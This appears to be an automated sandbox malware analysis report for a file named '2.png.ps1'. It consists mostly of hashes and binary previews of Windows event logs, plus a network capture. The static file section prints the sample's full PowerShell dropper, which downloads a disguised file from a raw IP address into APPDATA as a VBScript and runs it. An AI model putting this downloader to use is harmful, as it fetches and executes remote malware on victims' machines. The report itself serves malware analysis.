SSDEEP:	384:9hhL6UsE0ZUmxUmgDUmSUmKUmgUmlUmB8UmCUmeUmx9Umy+UmLU8hL6UsE0ZUmxX:nY7LAmsY7LAm
MD5:	320F164F40BB45532DC43D481830D79F
SHA1:	41DA787A0C8C3030825F50A78EFA70D8929E3F11
SHA-256:	07E299434F7ACD55265B29D9F37BC4A20F3B038024EFD2FF010F526CD92DF0F5
SHA-512:	E689188D52F1A48523FFA98CBC46778B2328103AE6BAFD6B41AAA3C082B4CC5D9A8938EF98E932ED44F4FC87024E2D395D171984A7CAB11B0E2F9A4D7463D29F
Malicious:	false
Preview:	ElfFile.........................................................................................................................ElfChnk......................................1...3.....R....................................................................................... .......................H...=...........................................................................................................................f...............?...........................m...................M...F............................(...........................,..........................................................................................**..............a...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TZUtil%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20345225522535826
Encrypted:	false
SSDEEP:	24:M0Jg2Wm3wrPfWwlcnMoNRpYCx/EtfWi05MhL5OkWwj21W3BEop406rG6wa8LDl8g:MSWmgrP+wQNRBEZWTENO4b3BEopv/6q
MD5:	BFF362257DC047546712C8A5C9068AD9
SHA1:	1BA337F7A005AE3CF11B91FAD2EC3250F863282B
SHA-256:	26621AC66C6533EE368A0DBAE542FCA381930AABBE8511D5DE3E453D826F1595
SHA-512:	B73BF166C4EBB2D4B7447FA520CF0FB1FCDC887CB7216A3471A0AAE685ABEA3FA8DB4297088FACA86B5E1B6B720D50D2755303D0DCA099B3AB2A679986FC1B28
Malicious:	false
Preview:	ElfChnk...............................................vz.....................................................................!..........................................F...=...........................................................................................................................f...............?...........................m...................M...F.......................................................&...........................................................................................**................3.l.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.105856407104524
Encrypted:	false
SSDEEP:	384:VhBPiv5iKiR2ioAiRipipikiGi1iYiTi5i6inihm8i7zi+i0/iri8i2iaiI9ibis:VGqsD1dAsM9QSp
MD5:	A49BEAB6C1B19025A42FDA1F613A48B7
SHA1:	E81E83A5FC860D057E9DC0BEAECC2257CF0F4861
SHA-256:	DC7F1C66EFECACEBB1AEAB916298491FA4BBCEA0C3B075603F165BB4907A2D0B
SHA-512:	B2A1B0E69668A7A8C94490DCA1484E40478B3FE4ADE81301659EC74C50CCEF6F9BFA2668142A120EA2A05ED96DC795D2C6F025E0AB0BE41B8072E7E37F2B7938
Malicious:	false
Preview:	ElfChnk.y...............y....................j...l..........................................................................w8Vl................F...."......................=.......................#...................i%...................#...................................%......................f...............?.......................P.......................M...F............................/..................."...%...A..v........5..............................................................<...............**......y........~p.h...........g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.110087239682538
Encrypted:	false
SSDEEP:	768:eSaIPbajadaTaXaLaNava9acapaca4a9apauaLaPahaDaba+aEaIa7aIafaGama2:HP321mpI0
MD5:	7DCD633A3E523F6B0F1F1E5166A1462C
SHA1:	2E882CEBCABECA1F8081886D4D435AD1430676F1
SHA-256:	DBC55BF54D3D88435F97E6BF03DB808724429470EE2BEC1593355CC8604879CC
SHA-512:	AC318ACCB83C5112A18EAA99D34AC552FE7D5EA9B8E20EF36B558CBDB2A1CB468E730C1A538B059EC3D3DDF10BB452310BEFC1B90AFDE5A61D60AEC7EA7C4916
Malicious:	false
Preview:	ElfChnk.........@...............@...............`...#.l.......................................................................................^...........................=...........................................................................................................................f...............?...........................m...................M...F.......................................................&.......................................................7...................................**..H...........Eb..l.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Device Registration%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.4082854814444645
Encrypted:	false
SSDEEP:	384:3haXJb4+XJcXJsXJrXJQXJIXJdXJkXJuXJyXJLMXJxXJ4pXJFXJeLXJDXJ9XJoXJ:3Q0yUkNYwD8imLEH4fretljQ
MD5:	629A54AB1C62EAB7DA6A00D6578F6F0B
SHA1:	C35F7F57428072D1A5C2A44454B8C75ECBE64088
SHA-256:	FBB078238BC25506FA5D37F15738E022F1430464466858D9E52C015C2D0E6F53
SHA-512:	7848A78D5EECE8069A80600AE3283FA91E592A2393F5A82A6670BD830332544E688A2B1193C08A9DEB3568D69133169ECA86E061A7D63D1E6E0A1B1484E343E1
Malicious:	false
Preview:	ElfChnk......................................C...F..3.Jf....................................................................z...................j...........................=...........................................................................................................................f...............?...........................m...................M...F............................0...........................8..&...........................................................C...........................**..............@V.$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.348490523569564
Encrypted:	false
SSDEEP:	384:+hxxmZmCmsmzmZmTmomSm/mjm/memGmhmAm9mYmQm2qmwmHmLmlm9mGmdmpm3mfd:+ODcxlzYWs
MD5:	0F1B8CD5ED26A4DA771BDB5F454D870F
SHA1:	88458537CA9E4E22BAD7415C10A235C25EEB9BFD
SHA-256:	4C56B53599E7A5EC677A3BC99EEF1F6F0CE83317441C0F8FE74425C069D4C7DD
SHA-512:	C00CB2197D4B1D2137B445C285EFF456D36181ADAFA7474069B6F008EBB764475E8B53090BFBAFA03A8DC4ECA6BAB556552568C6B600439EFE925D1A50819CAC
Malicious:	false
Preview:	ElfChnk........................................h,............................................................................v................X...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................k.......&.......................1...........K.......................................................*..................k.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7468847878197933
Encrypted:	false
SSDEEP:	384:ihm2j082AO2q2G2Z2f2V2h2d2h2B212x2:id
MD5:	2168C775D5DCCC582516B831034AC93B
SHA1:	8495CA0064C23D131CC4A6C5126CBC42BF93017F
SHA-256:	D396096CC0189B3FBAD27A5D019B698423C9382746402945F26A0635F46082FE
SHA-512:	E767798650253E41EEAAAEF1FD21453BD23DCAFFA3BAC651F83D6C7458CA1EABE6B2D4BD8D61F398587118918676451E9428DFF304F02D64F5E0FD56A5474720
Malicious:	false
Preview:	ElfChnk.........................................H ...q.....................................................................~'.................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...............................#.......................&...........................................................................................**................b.l.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	66792
Entropy (8bit):	4.370437820881353
Encrypted:	false
SSDEEP:	384:nRshRRVwGRA6RGRwR7R3ReRuRIRcRDR6bRgRwRcRgRpRZR+R+RlRcRqRmRRiR5R7:2q/f2LvWae
MD5:	E0D82A3395E7A6C3A9DDC8A0820B181E
SHA1:	6CC7E076B5560789C2286259C21398F23C5FC01B
SHA-256:	8385DFEB359EACAC50A2A67312DE8DCCEECB7988731AFB3AA594A06832FD550D
SHA-512:	DD4943C624B805E95E405BBAB51B397FB48FC3ED5D85F456828ABB014675ECD19020A98D07DBF608C22E4A639A7937F9A72C8F187E26CA080EC4C65F7BFA5D13
Malicious:	false
Preview:	ElfChnk.<.......o.......<.......o....................E.....................................................................f.D.....................z...................T...=.......................................8.......................M...#...........................................m......pl..f...X.......dm..?.......................8........m......=.......M...F...1m..........{...................................Il..............................................................&...........................a...**......o.........7.MQ..........9I................................................................<.......T.....!................@..7.MQ...e._&..K....V..0.......o....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y.......#F.~.J.{..M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y./.O.p.e.r.a.t.i.o.n.a.l...(~K.&.......N...............................{.E.9.8.E.C.0.B.2.-.0.0.F.A.-.4.C.4.D.-.9.A.B.6.-.9.E.4.1.A.B.9.E.6.4.A.E.}...5.3.6.7.2.0...T.I.N.A

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.280894283545869
Encrypted:	false
SSDEEP:	384:Nth1hghdzhkh7hVhmh2h+hchuhshqh9hihXhMhxhzhwhohGh5h3hShChWhzhLhaE:TIFpkBmPVvZhJv
MD5:	895B188A8622F9F4BE91C41E1A439BA0
SHA1:	9D6561EEC77A9BAAF282C1FAD7D10E01C3160053
SHA-256:	7DCA11C307B9304783F9C4C8FD228387D2953CFED9364B9EA0A932534A325E8F
SHA-512:	927D18C0DE78188A23B35F2A8A56CCDC7F46C334790426693C20A182D84890305C7A8C62EABA12C96A84BA1C8A8AF6D0865FCF4BA76AC661B0BB968BFDBA045E
Malicious:	false
Preview:	ElfChnk.........................................(.....T.....................................................................\|5s.........................................6...=...........................................................................................................................f...............?...........................m...................M...F.......................................................&...........................................................................................**..............X..Kl.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WebAuthN%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3017357672937786
Encrypted:	false
SSDEEP:	384:V+hOVPiVcVCVC7VNVtVEV3Vob7V5VXVmVbVoV/VEVptVtVBVnVOVUVYVu0VmVfUz:V+yjbSJU
MD5:	A608DDAE2F87380F0D3A7DBCCD47792A
SHA1:	2D65DB93A142AC092546172DA7D77CBDB76EBA08
SHA-256:	845D0D62A98B3134E1843B276752963E215AD9CBB220114F4554CFC5239E610C
SHA-512:	54CA61E208040019268703ED1FD29B0E6F2C76E734387E47792120753595C9127FF41546822B96950C9B7523636EF7CD2E7B6BA244E64FD821D4BFB9ED4BD556
Malicious:	false
Preview:	ElfChnk........."..............."...........`:...;..........................................................................v...................&...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&..............................v.......................................................................................*..P...........y................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WinRM%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 97, DIRTY
Category:	dropped
Size (bytes):	129088
Entropy (8bit):	4.161823762856659
Encrypted:	false
SSDEEP:	768:zL5v0NuJKOXvb6mBylNGkVdNWN/3kUbzVVRa6vwVQldASo0RXk9gjdkINbRkmkbw:BhBl4hBl
MD5:	999C6951725517B8AF6ABA41B75C3555
SHA1:	66D39FC8D7CF3E000B0963BF70157DDD285675A0
SHA-256:	EF4F906C888A7E206730E850582A86777BB7403E8F402476E6334DBEAF11D7B1
SHA-512:	161D6F109BFA2ACA8D8FA2E2C6B8C8EAB07662C279C9C2281FA39EC6EC5CA89CBA97FFC2BB0D89206A4C835E2BDC0C001E4EC68830387FA76BE22B9CF716F315
Malicious:	false
Preview:	ElfFile.................a...................................................................................................8m\|ElfChnk.........d...............d...........H.......\.:....................................................................s...........................................B...=...........................................................................................................................f...............?...........................m...................M...F...........................F.......=.......................&...........................................................-...........................*..X...........\|.$2..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale 8448-1024, spot sensor temperature 0.000000, unit celsius, color scheme 1, calibration: offset 0.000000, slope 4247420928.000000
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.221674908318902
Encrypted:	false
SSDEEP:	384:EhmBwBeKb3XkBwB0AVBwB0LuBwB0yeBwB0yxBwB04Z4BwB0eSuBwB0vnBwB0wwBH:EaKbRaFT
MD5:	C7A79CAA54EDE0DA08C217E4147EE159
SHA1:	DA9E4AB5DC35EEE30ED3F51CC685479EACF65E51
SHA-256:	78CC12CED10FAFD8695BFAEE30E31FA382AFE662EA122389268BE16D8CCC6AAC
SHA-512:	1644AE1A2E3EE21707A7399089824972E4256084CBEA24B1B938AEF7135EA6A6D8B372EB7D27D4BCC028E175BC1977AF0A30B4E4E1DF008A3661E72E91C94ECF
Malicious:	false
Preview:	ElfChnk.R...............R.............................Gq.....................................................................%@.............................................=...........................................................................................................................f...............?...........................m...................M...F.............................................../.......&...................................................................g.......................**......R.......=...k.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Winlogon%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.428253354580031
Encrypted:	false
SSDEEP:	384:zhtUEXUEINZUEIsUEI7UEIJUEIXoUEVUEmUEIvUEISUEIbUEIvUEIZUEIuUEIIUI:zAq3mQ6y5GyAN7nuo0pjGQQwjx
MD5:	CDA410A4B6EDA4F017D994EE4A4CBB2C
SHA1:	8D59FDD6C7117BF0A66EAF7A013AE0AB94686374
SHA-256:	28EC2D562E65B029F4D656D81ACFD470690880C5B74DF96A9D16B9DF64AC375E
SHA-512:	41206C9DB1937DBA09E1F00AAA1AAB4541DFE0EBD24067D3291E2618E4C47C567F96FAEEB3EE98C2716EF600AC0AD732BE9C1BC4C32872FCE8D561C7978AAA6B
Malicious:	false
Preview:	ElfChnk......................................'..()..uK.8..............................................................................................................>...=...........................................................................................................................f...............?...........................m...................M...F.......................................................&...........................................................................................**...............e.Kl.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.1696846248504436
Encrypted:	false
SSDEEP:	384:YDFR0B8CCazDWiouMtGqoJMt6yoJMta+AaoJMtgoGL3o5kowMtY630lHoyoJtwmC:YJs3skrrSZMQNGD
MD5:	B17328CC1187136CD40CB71919A0E413
SHA1:	5C6EB9E649F515F4E8673B53E065D94C220786A8
SHA-256:	96224F0B34CA077218B560E2AB464CCA28CD3FC3BFCE50D3AB89D65203FEE757
SHA-512:	F08B49F406F76113FAF3AE96BFF98227D0C2C727E4DD67A9B9BA2EF5676FE28A80AEB87D5AFE77880592F05FCD2F5206F31F2BA36F16688C497DF958FCC7A30B
Malicious:	false
Preview:	ElfChnk.................0.......:............3...5...K.a....................................................................h.Lo................P...s...h...............x...=...................................................N...............................................w.......2.......................+...................................Y...........).......M...P...:...............................)...................6................................0......&...................................................**......0........j..MQ........t[..&.......t[..)}.P..1s..R.=.......A..1...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....Z...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\Setup.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67984
Entropy (8bit):	0.4028896644411554
Encrypted:	false
SSDEEP:	96:wsNVaO82ovL8YhpO27sNVaO82ovL8YhpO2:wCV7W7hpRCV7W7hp
MD5:	FDCD1B370136B9C408F59954D8F33304
SHA1:	AB529FF7677E93CCE9FD3702D7BF9C5C26E0E00B
SHA-256:	F4E2583ED29D718D34F3E1EC152955F86E4537E6E952C2CA28D9A56E9C97A7DA
SHA-512:	C6EBE9D60787F3C2A0012F9462B58FB2CF98597D15DB4750C1F918ABEB8D1DC9DB46D77AC39B91992FD9EB51CD4AE8DE687DC3636ACC2F611538E5D2E38B5C51
Malicious:	false
Preview:	ElfChnk................................................,..................................................................................................................=...........................................................................................................................f...............?...........................m...................M...F.......................................................&...........................................................................................**..................MQ........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\System.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	70072
Entropy (8bit):	4.428554485265567
Encrypted:	false
SSDEEP:	384:tqxleNZEkxOOhrqjFRSL6BHpDB7sleNZEkxOOhY11nVOaMyhMUxvDde5SnXMnvdJ:ueYBj2ee+vrB5d4t2pLP5YDlY
MD5:	AB9E938DF5FB27C4DEAEB718A515AFE3
SHA1:	BED0D457FEE167A0D49F2100AE194201970C3B02
SHA-256:	740386D25F464D0C2A6DA53D3493A7C735AE34C45413D94C6D7F3D55A611F044
SHA-512:	45C290D548FA351207EC4AF124F19CF794CD0F68D0CF728BFD6D777519B9B413220C61EBAD865E37E0596FE352F21E7786EEBCD428E9D0EA3EC60626CBEADAE9
Malicious:	false
Preview:	ElfChnk......................................(...)..I.`........................................................................c....................s...h...................=...................................................N...............................9...((..........w...............................C...................................U...........).......M...1...:.......................x............................%...........................................................'..................&...........**...............Hh.MQ........V...>...............................................................8.............!................@.Hh.MQ...#_.G..N.=a.....\|...p........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.D.N.S.-.C.l.i.e.n.t.n....~.I...x.=.MS.y.s.t.e.m....................@.\...o........................A..)............=.......Q.u.e.r.y.N.a.m.e.......A..1.......#....=.......A.d.d.r.e.s.s.L.e.n.g.t.h.......A..%............=.......A.d.d.r.e.s.s.............@...........f.e.3

C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	77264
Entropy (8bit):	2.87411693469407
Encrypted:	false
SSDEEP:	768:VFzz9yzCtKTgQtMgG1Asj/nah6sXhND+HPTXFtrLVePzFY1h1rJFzz9yzCtKTgQI:Lp2YObm5JTVFpMzefN3p2YObm5
MD5:	3E57E6A402A21971431657F8F0DA3649
SHA1:	5D70EA61C0A66CE349DA1D1C1309CD76A53441D2
SHA-256:	6222C976771ECB86F5BA65FEBABF87286D1C28104D4E0E988FBAE4584ED35967
SHA-512:	E6462381F5177E93D57C655C46350D1279542847D220FD70E1D224A0CC8E19D21AC34443B6C6C6F4B406477825F2CAA15DADA4428AC7C1A2D7FFBB75BE67A910
Malicious:	false
Preview:	ElfChnk......... .......y...........................IK......................................................................H.............................................=..........................................................................................................................._...............8...........................f...................M...c...........................l.......................................................................................................................**..............g'y..Q............&...................................................................................K.!.................g'y..Q.........................w.)Cl.......(...........S.t.o.p.p.e.d...A.v.a.i.l.a.b.l.e.....N.e.w.E.n.g.i.n.e.S.t.a.t.e.=.S.t.o.p.p.e.d.......P.r.e.v.i.o.u.s.E.n.g.i.n.e.S.t.a.t.e.=.A.v.a.i.l.a.b.l.e...........S.e.q.u.e.n.c.e.N.u.m.b.e.r.=.1.5...........H.o.s.t.N.a.m.e.=.C.o.n.s.o.l.e.H.o.s.t.......H.o.s.t.V.e.r.s.i.o.n.=.5...1...1.9.0.4.1...1.6.8

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.278474355056835
TrID:
File name:	2.png.ps1
File size:	197 bytes
MD5:	c35d55fed56f234ddd8df704aabe7d3d
SHA1:	cc3c66fa513272688501de6e4b5e172024f14bc3
SHA256:	7ec87fed141de98f1906de8bd3d4e08d13f69a633fe52608bbf7c06b181292d9
SHA512:	7baa50f0b52452ef8e7db96a3026cad4c3886d9f64bd45417feea9af2e7deefee9a49d8fb6777fe2899353c48a3941f9fa1b86ebc790486696067d46d6b181d1
SSDEEP:	6:riwq0uYNombfkf48Hq1j6jQMhDfVFr6MFVE:rijSVrAKF81NFmMrE
TLSH:	21D0C03F858DC2B2CD662489F244F14FC080C0010146CC004E754C44EF0F142F5CB257
File Content Preview:	..$url = "http://176.113.115.178/FF/CMD.png"..$output = "$env:APPDATA\CMD.vbs"..$start_time = Get-Date..$wc = New-Object System.Net.WebClient..$wc.DownloadFile($url, $output)..Start-Process $output

File Icon


Icon Hash:	3270d6baae77db44

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 14:07:27.947613955 CET	49716	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:28.067127943 CET	80	49716	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:28.067203045 CET	49716	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:28.067655087 CET	49716	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:28.187283993 CET	80	49716	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:29.556826115 CET	80	49716	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:29.556843996 CET	80	49716	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:29.556857109 CET	80	49716	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:29.556937933 CET	80	49716	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:29.556951046 CET	80	49716	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:29.556963921 CET	80	49716	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:29.556977034 CET	80	49716	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:29.557008028 CET	49716	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:29.557008028 CET	49716	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:29.557293892 CET	80	49716	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:29.557307005 CET	80	49716	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:29.558494091 CET	49716	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:29.558515072 CET	80	49716	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:29.561860085 CET	49716	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:29.677858114 CET	80	49716	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:29.677879095 CET	80	49716	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:29.677977085 CET	49716	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:29.680888891 CET	80	49716	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:29.733793974 CET	49716	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:29.783030987 CET	80	49716	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:29.783257008 CET	80	49716	176.113.115.178	192.168.2.9
